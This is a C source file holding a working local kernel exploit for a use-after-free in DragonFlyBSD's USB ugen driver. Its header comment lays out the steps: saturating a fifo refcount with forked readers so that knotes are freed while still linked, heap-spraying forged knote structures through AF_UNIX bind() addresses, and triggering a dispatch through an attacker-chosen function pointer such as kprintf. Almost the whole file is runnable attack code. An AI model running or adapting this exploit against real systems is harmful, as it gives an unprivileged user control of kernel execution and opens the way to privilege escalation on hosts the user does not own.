/*
 * DF-5308 - DragonFlyBSD sys/bus/u4b/usb_dev.c
 *           usb_filter_detach() error path leaves the dropped knote linked
 *           in the live usb_fifo's selinfo.ki_note list.  When the knote is
 *           subsequently freed by knote_drop() and its memory reclaimed,
 *           the next KNOTE() on that fifo (usb_fifo_close / usb_fifo_wakeup)
 *           walks the freed knote and dispatches
 *               kn->kn_fop->f_event(kn, hint)
 *           through fully attacker-reclaimed heap memory.
 *
 * Choreography (all unprivileged, user "maxx"):
 *   1. fd   = open("/dev/usb/0.2.1", O_RDONLY)      (ugen interrupt-IN fifo)
 *   2. kq[] = 8 kqueues, each kevent(EV_ADD, EVFILT_READ, fd)
 *              -> 8 knotes linked into f->selinfo.ki_note, flag_isselect=1
 *   3. fill the per-CPU knote cache (64) by creating+destroying 64 knotes
 *      so that the next freed knote goes back to the slab allocator
 *   4. fork 254 children, all blocked in read(fd) -> each holds one
 *      rxfifo refcount -> f->refcount saturates at USB_FIFO_REF_MAX (0xFF)
 *      (verify: ioctl(fd, FIODTYPE) fails with ENXIO)
 *   5. close the 8 kqueues -> knote_detach_and_drop() -> usb_filter_detach()
 *      -> usb_ref_device() fails (refcount == 0xFF) -> EARLY RETURN without
 *      knote_remove() -> 8 knotes freed while still linked in the fifo
 *   6. SIGKILL the children (refcount drains), verify ioctl works again
 *   7. spray AF_UNIX bind()s with sa_len == 136 == sizeof(struct knote):
 *      dup_sockaddr() kmallocs 136 bytes and copies our bytes verbatim
 *      -> the freed knote slots are re-filled with forged knote fields
 *      (kn_next=NULL, kn_status=0, kn_fop=TARGET)
 *   8. close(fd) -> usb_cdevpriv_dtor -> usb_fifo_close() sees
 *      flag_isselect -> KNOTE(&f->selinfo.ki_note, 0) -> knote() walks the
 *      forged knote -> filter_event() -> kn->kn_fop->f_event(...)
 *
 * TARGET modes:
 *   fault : kn_fop = 0x4141414141414141 -> page fault reading f_flags
 *   call  : kn_fop = &kprintf - 24      -> f_event == kprintf, rdi = the
 *           forged 136-byte block -> console prints our marker string,
 *           proving arbitrary kernel function dispatch with controlled rdi.
 *
 * Build:  cc -O -o df5308 df5308.c
 * Run:    ./df5308 fault|call [attempts]
 */
#include <sys/types.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <stddef.h>
#include <stdint.h>

#define DEFAULT_NODE    "/dev/usb/0.2.1"
#define NREADERS        254     /* +1 base ref = USB_FIFO_REF_MAX (0xFF) */
#define NKQ             96      /* knote fanout; > KNOTE_CACHE_MAX(64) so
                                * the excess spills past any per-CPU knote
                                * cache into the reclaimable slab */
#define NFILL           64      /* KNOTE_CACHE_MAX                      */
#define NSPRAY          32
#define NSPRAYER        6
#define SA_SIZE         136     /* == sizeof(struct knote), x86_64      */

/* struct knote field offsets (sys/sys/event.h, x86_64) */
#define OFF_KN_NEXT     24
#define OFF_KN_KQ       48
#define OFF_KN_STATUS   88
#define OFF_KN_FOP      120

#ifndef SOCK_MAXADDRLEN
#define SOCK_MAXADDRLEN 255
#endif

struct sa136 {
	uint8_t        sun_len;
	uint8_t        sun_family;
	char           sun_path[SOCK_MAXADDRLEN - 2];
};

static uint64_t forge_fop;
static const char *node = DEFAULT_NODE;
static int spray_socks[NSPRAY];
static char spray_paths[NSPRAY][64];

static void
mk_forge(struct sa136 *sa, int idx)
{
	uint64_t v;
	uint32_t st = 0;

	memset(sa, (int)'F', sizeof(*sa));
	sa->sun_len = SA_SIZE;
	sa->sun_family = AF_UNIX;
	snprintf(sa->sun_path, 40, "/tmp/PWN5308_%04d", idx);
	/* kn_next = NULL: list walk stops at the forged note */
	memset((uint8_t *)sa + OFF_KN_NEXT, 0, 8);
	/* kn_kq: only hashed into a pool token, but used by
	 * KNOTE_ACTIVATE -> knote_enqueue after f_event returns */
	v = 0x4343434343434343ULL;
	memcpy((uint8_t *)sa + OFF_KN_KQ, &v, 8);
	/* kn_status = 0: not PROCESSING, not DELETING */
	memcpy((uint8_t *)sa + OFF_KN_STATUS, &st, 4);
	/* kn_fop: the dispatch target */
	memcpy((uint8_t *)sa + OFF_KN_FOP, &forge_fop, 8);
}

static void
cleanup_spray(void)
{
	int i;

	for (i = 0; i < NSPRAY; i++) {
		if (spray_socks[i] >= 0) {
			close(spray_socks[i]);
			spray_socks[i] = -1;
		}
		unlink(spray_paths[i]);
	}
}

/*
 * returns 0 if the attempt completed without crashing
 */
static int
attempt(int num)
{
	struct kevent kev;
	struct sa136 sa;
	int fd, kq[NKQ], kqfill, syncp[2];
	pid_t pids[NREADERS];
	int i, n, x, err;
	char b;
	ssize_t r;

	printf("[*] attempt %d: open %s\n", num, node);
	fflush(stdout);

	fd = open(node, O_RDONLY);
	if (fd < 0) {
		printf("[-] open %s: %s\n", node, strerror(errno));
		return (-1);
	}

	/* 2. fanout knotes */
	for (i = 0; i < NKQ; i++) {
		kq[i] = kqueue();
		if (kq[i] < 0) {
			printf("[-] kqueue: %s\n", strerror(errno));
			return (-1);
		}
		EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);
		n = kevent(kq[i], &kev, 1, NULL, 0, NULL);
		if (n < 0) {
			printf("[-] kevent: %s\n", strerror(errno));
			return (-1);
		}
	}

	/* 3. fill the per-CPU knote free-cache (KNOTE_CACHE_MAX==64) */
	kqfill = kqueue();
	if (kqfill < 0) {
		printf("[-] kqueue(fill): %s\n", strerror(errno));
		return (-1);
	}
	for (i = 0; i < NFILL; i++) {
		EV_SET(&kev, 0x5000 + i, EVFILT_USER, EV_ADD, 0, 0, NULL);
		kevent(kqfill, &kev, 1, NULL, 0, NULL);
	}
	close(kqfill);

	/* 4. saturate the fifo refcount with blocked readers */
	if (pipe(syncp) < 0) {
		printf("[-] pipe: %s\n", strerror(errno));
		return (-1);
	}
	printf("[*] forking %d readers\n", NREADERS);
	fflush(stdout);
	for (i = 0; i < NREADERS; i++) {
		pids[i] = fork();
		if (pids[i] == 0) {
			char buf[64];
			signal(SIGKILL, SIG_DFL);
			b = 'R';
			write(syncp[1], &b, 1);
			for (;;)
				read(fd, buf, sizeof(buf));	/* blocks */
			_exit(0);
		}
		if (pids[i] < 0) {
			printf("[-] fork %d: %s\n", i, strerror(errno));
			/* still proceed with what we have */
			for (n = i; n < NREADERS; n++)
				pids[n] = -1;
			break;
		}
		if (i == 0)
			usleep(400000);	/* let child 0 finish xfer setup */
	}
	/* wait for all sync bytes */
	for (i = 0; i < NREADERS && pids[i] >= 0; i++) {
		r = read(syncp[0], &b, 1);
		if (r != 1)
			break;
	}
	usleep(300000);

	/* exhaustion marker */
	err = ioctl(fd, 0x12345678, &x);
	printf("[*] while saturated: ioctl(unknown) = %d errno=%d "
	    "(expect -1/ENXIO=%d)\n", err, errno, ENXIO);
	fflush(stdout);
	for (i = 0; i < 10 && err == 0; i++) {
		usleep(300000);
		err = ioctl(fd, 0x12345678, &x);
	}
	if (err == 0)
		printf("[!] ioctl still works - saturation not reached?\n");

	/* 5. drop the knotes with the fifo refcount saturated */
	printf("[*] closing %d kqueues -> usb_filter_detach early-return "
	    "-> knotes freed while linked\n", NKQ);
	fflush(stdout);
	for (i = 0; i < NKQ; i++)
		close(kq[i]);

	/* 7. IMMEDIATELY reclaim the freed knote slots with forged knotes.
	 *    The freed knotes land on the per-CPU free list of whichever CPU
	 *    executed the closes, so fan the spray out over NSPRAYER forked
	 *    children (spread across CPUs) to cover all per-CPU lists. */
	printf("[*] spraying %dx%d forged %d-byte sockaddrs "
	    "(kn_fop=0x%016llx)\n", NSPRAYER, NSPRAY, SA_SIZE,
	    (unsigned long long)forge_fop);
	fflush(stdout);
	{
		pid_t spr[NSPRAYER];
		int sp2[2];
		pipe(sp2);
		for (i = 0; i < NSPRAYER; i++) {
			spr[i] = fork();
			if (spr[i] == 0) {
				int j, s;
				struct sa136 sa2;
				close(sp2[0]);
				for (j = 0; j < NSPRAY; j++) {
					s = socket(AF_UNIX, SOCK_STREAM, 0);
					if (s < 0)
						break;
					mk_forge(&sa2, num * 1000 +
					    i * NSPRAY + j);
					if (bind(s, (struct sockaddr *)&sa2,
					    SA_SIZE) < 0) {
						close(s);
						break;
					}
				}
				b = 'D';
				write(sp2[1], &b, 1);
				for (;;)
					pause();	/* keep blocks alive */
			}
		}
		for (i = 0; i < NSPRAYER; i++)
			read(sp2[0], &b, 1);
		usleep(20000);

		/* 6. drain the readers */
		printf("[*] killing readers\n");
		fflush(stdout);
		for (i = 0; i < NREADERS; i++)
			if (pids[i] > 0)
				kill(pids[i], SIGKILL);
		for (i = 0; i < NREADERS; i++)
			if (pids[i] > 0)
				waitpid(pids[i], NULL, 0);
		close(syncp[0]);
		close(syncp[1]);

		err = ioctl(fd, 0x12345678, &x);
		printf("[*] after drain: ioctl(unknown) = %d errno=%d "
		    "(expect -1/ENOTTY=25)\n", err, errno);
		fflush(stdout);

		/* 8. trigger the KNOTE() walk over the freed knotes */
		printf("[*] closing ugen fd -> usb_fifo_close -> KNOTE -> BOOM?\n");
		fflush(stdout);
		fsync(1);
		close(fd);

		printf("[?] attempt %d survived close(fd)\n", num);
		fflush(stdout);
		for (i = 0; i < NSPRAYER; i++)
			kill(spr[i], SIGKILL);
		for (i = 0; i < NSPRAYER; i++)
			if (spr[i] > 0)
				waitpid(spr[i], NULL, 0);
	}
	return (0);
}

int
main(int argc, char **argv)
{
	int attempts = 3;
	int i;

	if (argc > 2)
		attempts = atoi(argv[2]);
	if (argc > 3)
		node = argv[3];
	if (argc > 1 && !strcmp(argv[1], "call")) {
		/* &kprintf - 24 so that kn_fop->f_event == kprintf */
		forge_fop = 0xffffffff8069d340ULL - 24;
	} else {
		forge_fop = 0x4141414141414141ULL;
	}
	if (getenv("DF5308_FOP"))
		forge_fop = strtoull(getenv("DF5308_FOP"), NULL, 16);
	if (getenv("DF5308_NODE"))
		node = getenv("DF5308_NODE");

	printf("[*] DF-5308 knote-UAF trigger, mode kn_fop=0x%016llx\n",
	    (unsigned long long)forge_fop);
	for (i = 0; i < NSPRAY; i++)
		spray_socks[i] = -1;

	for (i = 1; i <= attempts; i++) {
		if (attempt(i) < 0)
			break;
	}
	printf("[*] exhausted attempts without a crash\n");
	return (0);
}
